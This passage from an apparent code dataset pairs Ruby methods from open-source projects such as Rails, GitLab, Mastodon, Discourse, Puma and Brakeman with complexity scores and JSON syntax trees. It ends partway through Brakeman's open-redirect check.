\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected request method encountered: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]}]}]}]}]}]}]}","id":"7296f190-0915-4e93-8761-3914a192eddb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/prevent_adding_attr_encrypted_columns.rb","start_line":82,"raw_source":"def derive_correct_column_name(wrong_column)\n          wrong_column.to_s.delete_prefix('encrypted_').delete_suffix('_iv')\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"derive_correct_column_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wrong_column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wrong_column\"]},\"to_s\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"encrypted_\"]}]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"_iv\"]}]}]}","id":"a9938e0e-a091-4709-adf1-e3117864b97e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_filter_record_transformer.rb","start_line":216,"raw_source":"def filter(config, msgs = [''])\n      d = create_driver(config)\n      yield d if block_given?\n      d.run {\n        records = msgs.map do |msg|\n          next msg if msg.is_a?(Hash)\n          { 'eventType0' => 'bar', 'message' => msg }\n        end\n        records.each do |record|\n          d.feed(@tag, @time, record)\n        end\n      }\n      d.filtered\n    end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"optarg\",\"children\":[\"msgs\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msgs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"eventType0\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"feed\",{\"type\":\"ivar\",\"children\":[\"@tag\"]},{\"type\":\"ivar\",\"children\":[\"@time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"filtered\"]}]}]}","id":"5833eb5a-0bab-46cd-8845-7ea9c8c985d2"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/product_scopes.rb","start_line":34,"raw_source":"def self.property_conditions(property)\n        properties_table = Property.table_name\n\n        case property\n        when Property then { \"#{properties_table}.id\" => property.id }\n        when Integer  then { \"#{properties_table}.id\" => property }\n        else\n          if Property.column_for_attribute('id').type == :uuid\n            [\"#{properties_table}.name = ? OR #{properties_table}.id = ?\", property, property]\n          else\n            { \"#{properties_table}.name\" => property }\n          end\n        end\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"property_conditions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"properties_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Property\"]},\"table_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Property\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties_table\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]},\"id\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties_table\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Property\"]},\"column_for_attribute\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties_table\"]}]},{\"type\":\"str\",\"children\":[\".name = ? OR \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties_table\"]}]},{\"type\":\"str\",\"children\":[\".id = ?\"]}]},{\"type\":\"lvar\",\"children\":[\"property\"]},{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties_table\"]}]},{\"type\":\"str\",\"children\":[\".name\"]}]},{\"type\":\"lvar\",\"children\":[\"property\"]}]}]}]}]}]}]}","id":"73139b06-5b43-4331-8d7c-5a35e2cf150f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/sprockets_assets_test.rb","start_line":639,"raw_source":"def make_plugin\n        engine \"bukkits\" do |plugin|\n          plugin.write \"lib/bukkits.rb\", <<-RUBY\n            module Bukkits\n              class Engine < ::Rails::Engine\n                railtie_name \"bukkits\"\n              end\n            end\n          RUBY\n\n          plugin.write \"lib/another.rb\", \"class Another; end\"\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"make_plugin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\",{\"type\":\"str\",\"children\":[\"bukkits\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"lib/bukkits.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"            module Bukkits\\n\"]},{\"type\":\"str\",\"children\":[\"              class Engine < ::Rails::Engine\\n\"]},{\"type\":\"str\",\"children\":[\"                railtie_name \\\"bukkits\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"              end\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"lib/another.rb\"]},{\"type\":\"str\",\"children\":[\"class Another; end\"]}]}]}]}]}","id":"cfa43a77-75a7-4f8c-be14-e1840a40fc90"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/slack/messengers/feedback.rb","start_line":8,"raw_source":"def initialize(type:, category:, reported_url:, message:, user: nil)\n        @user = user\n        @type = type\n        @category = category\n        @reported_url = reported_url\n        @message = message\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"type\"]},{\"type\":\"kwarg\",\"children\":[\"category\"]},{\"type\":\"kwarg\",\"children\":[\"reported_url\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@category\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@reported_url\",{\"type\":\"lvar\",\"children\":[\"reported_url\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"8612b0d4-9cb3-4920-abb3-68660ac88118"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb","start_line":58,"raw_source":"def add_table_options!(create_sql, o)\n            create_sql << \" DEFAULT CHARSET=#{o.charset}\" if o.charset\n            create_sql << \" COLLATE=#{o.collation}\" if o.collation\n            add_sql_comment!(super, o.comment)\n          end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_table_options!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"create_sql\"]},{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"charset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" DEFAULT CHARSET=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"charset\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"collation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" COLLATE=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"collation\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_sql_comment!\",{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"comment\"]}]}]}]}","id":"f1578da5-78f8-45b1-9a1c-80ed030d9e11"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20170109120109_create_web_settings.rb","start_line":4,"raw_source":"def change\n    create_table :web_settings do |t|\n      t.integer :user_id\n      t.json :data\n\n      t.timestamps\n    end\n\n    add_index :web_settings, :user_id, unique: true\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"web_settings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"json\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"web_settings\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"49a14f32-326c-4783-aea2-57b77c4215dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/3_create/web_ide/settings_sync_web_ide_spec.rb","start_line":83,"raw_source":"def get_settings_context_hash\n      config_element = find('#settings-context-hash', visible: false)\n      config_element[:\"data-settings-context-hash\"]\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_settings_context_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_element\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#settings-context-hash\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_element\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data-settings-context-hash\"]}]}]}]}","id":"240edd0f-c5eb-45ee-9325-1bac9026a096"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/image.rb","start_line":63,"raw_source":"def should_touch_product_variants?\n      return false unless viewable.is_a?(Spree::Variant)\n      return false unless viewable.is_master?\n      return false unless viewable.product.has_variants?\n      return false unless saved_change_to_position?\n\n      true\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"should_touch_product_variants?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Variant\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewable\"]},\"is_master?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewable\"]},\"product\"]},\"has_variants?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"saved_change_to_position?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"da87376e-5097-4518-be7d-89e497e90d47"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/wiki_pipeline.rb","start_line":9,"raw_source":"def extract(*)\n          url = url_from_parent_path(context.entity.source_full_path) if source_wiki_exists?\n\n          BulkImports::Pipeline::ExtractedData.new(data: { url: url })\n        end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"extract\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_wiki_exists?\"]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"url_from_parent_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"entity\"]},\"source_full_path\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"Pipeline\"]},\"ExtractedData\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]}]}]}]}","id":"2cd6eeed-0241-45ee-9896-8df310f38e90"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/ip_block_policy.rb","start_line":16,"raw_source":"def update?\n    role.can?(:manage_blocks)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_blocks\"]}]}]}","id":"1b09d0a3-9739-474d-abbd-7d73c3c4e398"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/answerhub.rb","start_line":53,"raw_source":"def import_users\n    puts \"\", \"creating users\"\n\n    query =\n      \"SELECT count(*) count\n       FROM #{TABLE_PREFIX}_authoritables\n       WHERE c_type = 'user'\n       AND c_active = 1\n       AND c_system <> 1;\"\n    total_count = @client.query(query).first[\"count\"]\n    puts \"Total count: #{total_count}\"\n    @last_user_id = -1\n\n    batches(BATCH_SIZE) do |offset|\n      query =\n        \"SELECT c_id, c_creation_date, c_name, c_primaryEmail, c_last_seen, c_description\n      FROM #{TABLE_PREFIX}_authoritables\n      WHERE c_type = 'user'\n      AND c_active = 1\n      AND c_system <> 1\n      AND c_id > #{@last_user_id}\n      LIMIT #{BATCH_SIZE};\"\n\n      results = @client.query(query)\n      break if results.size < 1\n      @last_user_id = results.to_a.last[\"c_id\"]\n\n      create_users(results, total: total_count, offset: offset) do |user|\n        # puts user['c_id'].to_s + ' ' + user['c_name']\n        next if @lookup.user_id_from_imported_user_id(user[\"c_id\"])\n        {\n          id: user[\"c_id\"],\n          email: \"#{SecureRandom.hex}@invalid.invalid\",\n          username: user[\"c_name\"],\n          created_at: user[\"c_creation_date\"],\n          bio_raw: user[\"c_description\"],\n          last_seen_at: user[\"c_last_seen\"],\n        }\n      end\n    end\n  end","complexity_score":38.95,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT count(*) count\\n\"]},{\"type\":\"str\",\"children\":[\"       FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"_authoritables\\n\"]},{\"type\":\"str\",\"children\":[\"       WHERE c_type = 'user'\\n\"]},{\"type\":\"str\",\"children\":[\"       AND c_active = 1\\n\"]},{\"type\":\"str\",\"children\":[\"       AND c_system <> 1;\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Total count: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_count\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_user_id\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT c_id, c_creation_date, c_name, c_primaryEmail, c_last_seen, c_description\\n\"]},{\"type\":\"str\",\"children\":[\"      FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"_authoritables\\n\"]},{\"type\":\"str\",\"children\":[\"      WHERE c_type = 'user'\\n\"]},{\"type\":\"str\",\"children\":[\"      AND c_active = 1\\n\"]},{\"type\":\"str\",\"children\":[\"      AND c_system <> 1\\n\"]},{\"type\":\"str\",\"children\":[\"      AND c_id > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_user_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@last_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"to_a\"]},\"last\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]},{\"type\":\"str\",\"children\":[\"@invalid.invalid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_creation_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bio_raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_last_seen\"]}]}]}]}]}]}]}]}]}]}","id":"de2c97bf-8263-454e-a2ce-ad580d9a4d93"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/thread_pool.rb","start_line":228,"raw_source":"def trigger_out_of_band_hook\n      return false unless @out_of_band&.any?\n\n      # we execute on idle hook when all threads are free\n      return false unless @spawned == @waiting\n      @out_of_band_running = true\n      @out_of_band.each(&:call)\n      true\n    rescue Exception => e\n      STDERR.puts \"Exception calling out_of_band_hook: #{e.message} (#{e.class})\"\n      true\n    ensure\n      @out_of_band_running = false\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_out_of_band_hook\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@out_of_band\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@spawned\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@waiting\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@out_of_band_running\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@out_of_band\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exception calling out_of_band_hook: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@out_of_band_running\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"cc351973-36cc-4949-9abe-b4de3d2128c1"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_redirect.rb","start_line":81,"raw_source":"def include_user_input? opt, immediate = :immediate\n    Brakeman.debug \"Checking if call includes user input\"\n\n    # if the first argument is an array, rails assumes you are building a\n    # polymorphic route, which will never jump off-host\n    return false if array? opt\n\n    if tracker.options[:ignore_redirect_to_model]\n      if model_instance?(opt) or decorated_model?(opt)\n        return false\n      end\n    end\n\n    if res = has_immediate_model?(opt)\n      unless call? opt and opt.method.to_s =~ /_path/\n        return Match.new(immediate, res)\n      end\n    elsif call? opt\n      if request_value? opt\n        return Match.new(immediate, opt)\n      elsif opt.method == :url_for and include_user_input? opt.first_arg\n        return Match.new(immediate, opt)\n        #Ignore helpers like some_model_url?\n      elsif opt.method.to_s 